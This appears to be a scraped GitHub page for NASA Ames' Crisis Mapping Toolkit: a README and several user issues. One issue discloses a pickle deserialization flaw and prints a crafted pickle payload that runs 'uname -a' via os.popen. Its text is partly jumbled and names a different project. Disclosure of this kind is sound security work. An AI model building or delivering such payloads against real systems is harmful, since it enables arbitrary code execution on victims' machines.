nasa / crisismappingtoolkit

NASA Ames Crisis Mapping Toolkit

NASA Ames Crisis Mapping Toolkit

The Crisis Mapping Toolkit is a collection of algorithms and utilities for creating maps in response to crisis. The CMT relies on Google Earth Engine (EE) for much of its data processing. The CMT is released under the Apache 2 license.

The CMT is developed by the NASA Ames Intelligent Robotics Group, with generous support from the Google Crisis Response Team and the Google Earth Engine Team.

The CMT currently provides:

• Algorithms to determine flood extent from MODIS data, such as multiple thresholding techniques, learned approaches, Dynamic Nearest Neighbor Search, and more.
• Algorithms to determine flood extent from SAR data, such as histogram thresholding and active contour.
• Algorithms to detect water and clouds in LANDSAT images.
• Various helpful utilities, such as:
  • An improved visualization UI, with a drop down menu of layers similar to the EE javascript playground.
  • Local EE image download and processing, for the occasional operation that cannot be done efficiently in EE.
  • A configurable domain specification to define problem domains and data sources in XML.
  • Functions for searching image catalogs.

The CMT is still under development, so expect changes and additional features. Please contact Brian Coltin (brian.j.coltin at nasa dot gov) with any questions.

Installation

• Follow the instructions for installing Google Earth Engine for Python.
• Download the CMT source code from Github.
• Install PyQt4.
• Install the CMT with

  python setup.py install
  

Documentation

Before calling any CMT function, you must initialize EE, either by calling ee.Initialize, or by using the cmt ee_authenticate package:

from cmt import ee_authenticate
ee_authenticate.initialize()

Using the CMT UI

To use the CMT UI, replace your import of the EE map client:

from ee.mapclient import centerMap, addToMap

with

from cmt.mapclient_qt import centerMap, addToMap

then use the centerMap and addToMap functions exactly as before. That's it!

Using the CMT LocalEEImage

See the documentation in local_ee_image.py. When you construct a LocalEEImage, the image is downloaded from EE with the specified scale and bounding box using getDownloadURL. You can then access individual pixels or bands as PIL Images. Images are cached locally so if you are testing on the same image you do not need to wait to download every time. We recommend using LocalEEImage sparingly, only for operations which cannot be performed through EE, as downloading the entire image is expensive in both time and bandwidth.

Data Access

Data used in our examples has been uploaded as Assets in Earth Engine and should be accessible without any special effort. Unfortunately some datasets, such as TerraSAR-X, cannot be uploaded. If you find any missing data sets, contact the project maintainers to see if we can get it uploaded.

Licensing

The Crisis Mapping Toolkit is released under the Apache 2 license.

Copyright (c) 2014, United States Government, as represented by the Administrator of the National Aeronautics and Space Administration. All rights reserved.

crisismappingtoolkit's Issues

Lib is unable to find config resources

Installed library is missing the config resources to create the classes in domain.py, as shown in the IPython notebook.

kashmore_domain = cmt.domain.Domain(domainPath)

Hardcoded paths in library

Currently, several hardcoded paths exist in the library,
e.g. in mapclient_qt.py, L84: LOCAL_MAP_CACHE_PATH = '/home/smcmich1/repo/earthEngine/gm_tile_cache.dat'

Remote code execution in CrisisMappingToolkit

Hi,
CrisisMappingToolkit

CrisisMappingToolkit/cmt/mapclient_qt.py
# Load the pickle formatted data with open(path, 'rb') as f: (pickle_images, TileManager._lru_keys) = pickle.load(f) # Unpack images one at a time TileManager._images = {} for (pImage, key) in zip(pickle_images, TileM

or fname in flist: 14 with open(fname) as f: 15 t = cPickle.load(f) 16 xco2_a = t["XCO2_a"] … 23 with open("my_cov.pkl") as f: 24 dist_cov = cPickle.load(f) 25

I would like to report a remote code execution potential vulnerability in Singledop. Pickle module enables binary serialization and loading of Python datatypes and any user supplied sample file can lead to remote code execution on any researches machine processing a serialized file.

Attack binary a valid dop file:

mona@mona-virtual-machine:~/Downloads/SingleDop$ cat t_file cos popen (S'uname -a' tRp100 0c__builtin__ getattr (c__builtin__ file S'read' tRp101 0c__builtin__ apply (g101 (g100 I1000 ltRp102 0c__builtin__ getattr (c__builtin__ file S'close' tRp103 0c__builtin__ apply (g103 (g100 ltRp104 0g102 .
The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Please let me know if you have any questions. You can also reach back to me at [email protected]
Thanks

AttributeError

I'm trying to run the DNNS algorithm on one of the example domains.

from cmt import ee_authenticate
ee_authenticate.initialize()
from cmt import domain
from cmt.modis import flood_algorithms

d = domain.Domain()
d.load_xml("config/domains/modis/corrientes_2014_7.xml")
print flood_algorithms.detect_flood(d, 7)

However, I get this exception.

[...]
Loading band: swir1                                                                                                            
Loading band: swir2                                                                                                            
Loading band: pan                                                                                                              
Loading band: cirrus                                                                                                           
Loading band: temp                                                                                                             
Loading band: temp2                                                                                                            
Loaded sensor: landsat8                                                                                                        
Traceback (most recent call last):                                                                                             
  File "test.py", line 8, in <module>                                                                                          
    print flood_algorithms.detect_flood(d, 7)                                                                                  
  File "/home/ryan/Desktop/cmt/CrisisMappingToolkit/cmt/modis/flood_algorithms.py", line 100, in detect_flood                  
    return (approach[0], approach[1](domain, compute_modis_indices(domain)))                                                   
  File "/home/ryan/Desktop/cmt/CrisisMappingToolkit/cmt/modis/dnns.py", line 82, in dnns                                       
    classes   = ee_classifiers.earth_engine_classifier(domain, b, 'Pegasos', {'classifier_mode' : 'probability'})              
  File "/home/ryan/Desktop/cmt/CrisisMappingToolkit/cmt/modis/ee_classifiers.py", line 158, in earth_engine_classifier         
    classifier = ee.apply("TrainClassifier", args)  # Call the EE classifier                                                   
  File "/usr/lib/python2.7/site-packages/earthengine_api-0.1.97-py2.7.egg/ee/_helpers.py", line 98, in apply                   
    return func.apply(named_args)                                                                                              
AttributeError: 'NoneType' object has no attribute 'apply'